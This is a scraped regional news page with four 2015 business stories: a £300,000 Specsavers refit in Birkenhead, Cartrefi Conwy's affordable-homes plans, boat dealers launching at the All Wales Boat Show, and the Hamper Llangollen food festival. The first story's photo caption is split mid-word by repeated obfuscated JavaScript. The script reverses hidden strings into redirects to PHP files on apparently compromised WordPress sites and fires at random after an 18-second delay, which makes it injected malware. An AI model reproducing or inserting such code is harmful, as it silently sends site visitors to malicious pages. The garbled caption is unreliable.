Category: News

Specsavers show customer focus with £300,000 Birkenhead investment

Pyramids, Birkenhead, Specsavers s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore has invested £300,000 in a refurbishment which includes state-of-the art equipment. Pictured is technician Phil McEvoy with Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Ken Roberts at the newly instulated Lense Edger machine.

A BIRKENHEAD opticians has brought its customer service into sharp focus by investing £300,000 in a massive refurbishment including state-of-the-art equipment.

Specsavers in Birkenhead has remodelled at a cost of £200,000 which comes on top of the £100,000 spent recently on a state of the art robotic lens grinding machine.

According to Ken Roberts who has been its director for the past 23 years, the huge modernisation programme is already paying dividends as the shop has just experienced its busiest week ever.

The major changes have seen them become one of the most advanced Specsavers stores in the country.

Ken said: “We decided to undertake the refit because we needed to expand the premises to cope with increasing demand for our services and provide better access for disabled patients.

“Overall, we were keen to improve the customer experience even further, and I think we have now done that.”

Ken explained the six-week facelift operation, which was completed while the store remained trading, involved an extensive package of improvements.

“Our shop is on three floors and the refit effectively extended the sight-testing capacity on the ground floor by 100 per cent and the first floor by 20 per cent,” he said.

“One of the key features is that we now have one more test room on the ground floor to increase access for our disabled customers, which is very important to us.

“We have also added two more eye test rooms, taking us to a total of nine to help us handle the extra demand we are experiencing.

“Another improvement is that we now have a dedicated room for our two diabetic retinal screening cameras, each of which cost £20,000.

“We have long prided ourselves on the work we do in this vital area which involves the early detection of diabetic retinopathy.

“This is one of the most common causes of sight loss in people of working age and happens when diabetes affects the small blood vessels in the retina, the part of the eye that acts like a film in a camera.

“The pictures taken by one our specialist cameras will be sent to the Wirral NHS with which we have worked in partnership with for years. If a problem is suspected then arrangements can be made for the patient to go to hospital for further checks.”

Ken added: “The refit has also enabled us to have three more dedicated glasses dispensing booths, taking us to a total of 12 private dispensing desks.

“It’s worth noting that all our sight testing equipment is computer assisted, with no old-fashioned trail frames and lenses involved in the process.

“Apart from the work we do with diabetic screening, we also have retinal photography digital imaging available, free of charge to most patients, in every room.

“Basically, this means that when a person first comes in for a sight test we can use our equipment to take a picture of the back of their eyes and then compare it with pictures we take on their later visits to see of anything has changed in the meantime.

“We are gradually introducing a system where all the measurements for dispensing glasses are being done by tablets, which means that everything can be done with an incredible degree of accuracy.

“When it comes to ordering their new glasses, customers can choose from new and improved frame displays, which showcase the entire Specsavers range of frames plus a host of designer options.

“A further improvement to our shop has been a dedicated hearcare room with soundproof booth and digital hearing testing for improved accuracy of the audiograms.

“Customer comfort was firmly in mind when we designed in a new waiting room with seating for up to 30 people.”

On hand to deliver this increased range of services to customers are a team which includes seven fully qualified registered optometrists, five registered dispensing opticians, two contact lens opticians and four hearing aid audiologists plus full supporting staff.

The £300,000 investment in the building follows the £100,000 recently spent on a state of the art computerised robotic lens grinding machine.

Ken said: “This allows us to improve the quality and accuracy of the finished product. In fact, we call it the Terminator because, just like the film character, it’s relentless and never makes a mistake.

“There’s only a tiny handful of these machines in use in the UK by high street opticians.

“All the improvements add up to make us one of the most advanced Specsavers in the country, which we are all very proud of.

“And the benefits of the investment are already showing through because we recently had our busiest ever week – which I am delighted to say brought a letter of congratulation from our managing director.”

Friday May 1st, 2015

—

News

—

Plan for 150 new affordable homes

Cartrefi Conwy Pictured at Cartrefi Conwy Headquarters is David Kelsall, Business Development Manager for Cartrefi Conwy.

A former property developer is spearheading a housing association’s ambitious plans to build more than 100 affordable homes and buy 50 more.

David Kelsall, 49, a qualified chartered surveyor, has been appointed by Cartrefi Conwy as their Development and New Business Manager with the aim of satisfying the growing demand for housing.

Cartrefi Conwy has already invested more than £40 million in its housing stock over the past six years.

According to Mr Kelsall, their planned expansion is great news for the local economy as well as the 2,000 plus people waiting on the housing register in Conwy.

He said contractors will be expected to employ local people and set up local supply chains.

Cartrefi Conwy came into being in 2008 when it took over all Conwy County Borough Council’s houses and flats in a stock transfer voted for by council tenants.

Their first priority was to bring all 3,800 of their properties up to the Welsh Housing Quality Standard.

Mr Kelsall said: “Cartrefi Conwy were one of a handful of registered social landlords to achieve the target set by the Welsh Government by the end of 2012.

“This was done with a major £30 million housing improvement programme which created more than 300 local jobs and a further 300 training opportunities, providing a big boost to the economy of Conwy in the process.

“In addition, Cartrefi Conwy also completed a £4 million transformation of the Parc Peulwys estate in Llysfaen where 250 homes were refurbished and a further £1.2 million has been ploughed into environmental improvements there.”

According to David Kelsall, the next chapter in Cartrefi Conwy’s history is building new homes.

The drive got off to a flyer last year when a small development of six family homes in the former slate quarrying village of Penmachno was named as the best new housing development in Wales.

This year plans have been unveiled for a £3.4 million development of 27 new homes in Llanfairfechan and work is nearing completion on developments in Llandudno providing 26 apartments for older and vulnerable people and 13 family homes.

Mr Kelsall, who was director of family run house builders Kelsall Homes added: “Working for a registered social landlord is a new experience for me but part of the reason I came here really was for the challenge of the new experience and also the size of the schemes.

“We are planning to build an extra 100 affordable homes over the next few years and purchase others from private developers, which is ambitious in today’s climate because funding is very much limited and difficult to obtain.

“But, we believe that using our land and other public sector land as well as working with private sector developers, we can deliver more for less.

“In the last two years we have invested £5 million in schemes in Penmachno, Colwyn Bay and Abergele using local construction companies and supply chain that has employed more than 200 people.

“We achieved more than £5 million of efficiency savings in our procurement process which meant planned schemes were brought forward with over 500 properties receiving the benefit of improvements many years earlier than planned.

“In addition, Cartrefi Conwy has purchased and added nine empty homes to our stock portfolio in the last two years and used local labour to completely refurbish, adapt and bring these homes up to meet Welsh Housing Quality Standard.

“In future we’re going to be working in a variety of ways to build the new homes.

“We’ll be working with developers on a design and build basis, sometimes on land that we own or land that we purchase but we’ll also be working with local,  regional or national developers to purchase affordable homes they’ve built to meet their planning obligations.

“Another option is a package deal brought to us by private partners in addition to sourcing the land ourselves and going out to tender to build the properties.

“These are exciting times for Cartrefi Conwy and for me personally.”

Cartrefi Conwy Chief Executive Andrew Bowden: “I am delighted we were able to appoint somebody of David’s calibre to take a lead in our drive to build more affordable homes.

“David has invaluable experience working in the private sector which will be particularly helpful as we look at new ways of working to achieve our goals as we enter a new and important chapter in the history of Cartrefi Conwy.”

Any developers who are interested in working with Cartrefi Conwy should contact David Kelsall by emailing him at to:david.kelsall@cartreficonwy.org">david.kelsall@cartreficonwy.org or ringing 0300 124 0040.

Friday May 1st, 2015

—

News

—

Two top boat dealers launch their first Welsh outlets at All Wales Boat Show

BB1A2649 ceidiog

A top Irish boat dealer will officially launch its first Welsh dealership at the All Wales Boat Show in Pwllheli.

The unveiling of BJ Marine’s new outlet at Pwllheli marina will be first of two new international partnerships to be announced at the three-day event from Friday, May 8 to Sunday, May 10.

The other partnership being unveiled at the show is the appointment of the Pwllheli boatyard Partington Marine as agents for Slovenian boat manufacturers Seascape. It is the first time the European manufacturer of trailable yachts has had an agent in Wales.

BJ Marine will stock some of the biggest brands in yachts and powerboats, including Beneto, Monte Carlo, and Fontaine Paggio.

With prices ranging from between £25,000 and up to £1m, the company expects to attract buyers from across Wales and the North West of England.

And with its own marina just south of Dublin, BJ Marine also hopes to strengthen links across the Irish Sea and welcome many sailors to Greystones Harbour Marina.

Sales manager Mike Caplan, who is heading up the new Pwllheli branch, says he’s looking forward to showing off some of BJ Marine’s top of the range sailing stock, at the All Wales Boat Show in May.

Mr Caplan, formerly sales manager at North Wales firm Dickies, said: “We are really excited to be part of this year’s All Wales Boat Show, not just because it’s a great event but also because this year we will launching BJ Marine’s first sales office in Wales.

“Opening the branch here in Pwllheli adds to the international network of BJ Marine, with offices in Belfast, Dublin and Malta.

“Wales is an important market and we are coming out of the recession, with sales increasing and the industry is expanding in waves.

“The whole experience at Pwllheli and the developments here mean it is the perfect place to base BJ Marine’s first Welsh outlet.

“We’ll be bringing some great boats from big name brands to the All Wales Boat Show, and we hope people will come along to see them in the water.”

The move to Pwllheli form the All Wales Boat Show comes after two successful years in Conwy.

Organisers expect sales to top £2 million with an extra £500,000 being pumped into the local economy by visitors.

The event will be held at Plas Heli, the Welsh Sailing Academy and Events Centre and will be officially opened by Welsh Government Tourism Minister Ken Skates.

Partington Marine will have two 18-foot Seascape sailing boats available for visitors to view at the All Wales Boat Show, one demonstrator in the water and one displayed on a road trailer.

The company will also be offering boat show visitors a free rib ride shuttle service provided by Offshore Sea School between the Plas Heli’s marina and Partington Marine’s walkway pontoon in the Outer Harbour, so customers can come and browse Partington Marine’s well stocked chandlery and clothing shop and view any of their brokerage boats at their site.

Managing director Wil Partington said: “We’re delighted to launch our new venture as agents for Seascape at the All Wales Boat Show.

“These lift-keel 18 footers are great little boats, they are affordable, but also versatile and fast, without being too scary. Perfect for families wanting to move into sailing and set to become Pwllheli’s One design class of choice as they are ideal for racing and sailing our fantastic waters of Tremadog bay.

“The show is going to bring a real buzz to Pwllheli, there is so much going on here, it’s exciting to see Plas Heli completed and able to host this event in its first year.

“Partington Marine has been established here for over 50 years so it’s great to see this expansion happening on our doorstep.”

Davina Carey-Evans, Managing Director of Wales Watersports International which operates the All Wales Boat Show, said: “It is wonderful to have these two international partnerships launched at the 2015 All Wales Boat Show.

“These links with Ireland and Slovenia help keep Pwllheli on the map as one of the world’s best destinations for sailing expertise and equipment.

“We are sure visitors will be excited to see the boats both BJ Marine and Partington Marine have to showcase.

“It will be a fun experience for visitors to see them on the water in such a fabulous setting as Plas Heli, which is a fantastic facility right next door to where both firms now have bases, in Pwllheli.

“We will have an even bigger range of boats on show this year with everything from high end luxury craft to Sealeg which is a rib that can literally drive onto a beach, along with hand built boats, boats that you can fold up and put in the back of your car and paddle boards.

“In addition, there’ll be plenty of entertainment with a jet ski world champion and wakeboarding displays. The All Wales Boat Show is designed to appeal to local, regional and international visitors.”

In addition to the All Wales Boat Show website at www.allwalesboatshow.co.uk a new site, www.waleswatersports.com has been launched by the show organisers to act as a major portal for the marine and watersports sector in Wales.

Thursday April 30th, 2015

—

News

—

Tourism boss launches appeal for new products for top Welsh food festival

Ken Skates AM, Deputy Minister for Culture, Sport and Tourism shows his support for Hamper Llangollen with Colin Loughlin

A flourishing food festival is offering to showcase the products of new food and drink producers – and the appeal is being backed by the Welsh tourism minister.

Hamper Llangollen boasts an enviable track record as one of the UK’s most popular food events and one that has been a successful platform for innovative new food and drink from North Wales.

The two-day October festival has helped launch successful products like the Aberffraw biscuit, Blodyn Aur extra virgin rapeseed oil and the Dangerous Food Company’s chilli jam.

It is expected that this year’s 19th annual event will again attract thousands visitors to browse over 120 stalls at Llangollen’s Royal International Pavilion.

That’s music to the ears of Ken Skates, the Welsh Government’s Deputy Minister for Culture, Tourism and Sport, in whose Clwyd South constituency the event takes place on Saturday and Sunday, October 17 and 18.

He said: “Hamper Llangollen is an incredible success and a great annual occasion for the Dee Valley.

“I’m particularly pleased that there’s a focus on encouraging new exhibitors and giving prominence to the many outstanding food and drink producers in North Wales for whom it is a fantastic opportunity to showcase their unique and delicious products.

“Food tourism is proving to be big business and we are delighted to welcome thousands of visitors each year, many of them from England, to see some of the fantastic landscape and heritage we have and enjoy the best of food and drink.

“The Area of Outstanding Natural Beauty was recently extended through the Dee Valley and visitors are able to enjoy the phenomenal hills, mountains, rivers and valleys where this wonderful food is produced.”

Over the years the festival has introduced the public to a range of different and innovative foods as well as boasting household names like Patchwork Pate and Halen Mon Anglesey Sea Salt among its exhibitors.

It has also been named one of the UK’s Top Ten food festivals by national newspaper The Independent and each year it generates over £400,000 for the local economy.

Hamper Llangollen chairman Colin Loughlin said: “We are very keen to hear from new producers as we have been very successful in helping launch some amazing products.

“We have special rates for new products and even a special section of the festival especially for them where we can give them prominence.

“They are the lifeblood of events like this and we appreciate the importance of making sure the event is always fresh and has something new to taste.

“Last year we had South African dunking biscuits and they were very successful and I’m pleased to say that they’re back again this year.

“We want to promote the fact that the facilities are here for producers so that they can show off their new products to an appreciative public and we are also careful to make sure that we don’t have more than two of any one kind of producer.”

The one area he would like to see better represented is vegetables: “Perhaps it’s the time of year but I would really like to see more of them on show in all sorts of forms and we’d love to hear from growers and indeed any new producers.”

For more information on Hamper Llangollen go to http://www.llangollenfoodfestival.com/

Wednesday April 29th, 2015

—

News

—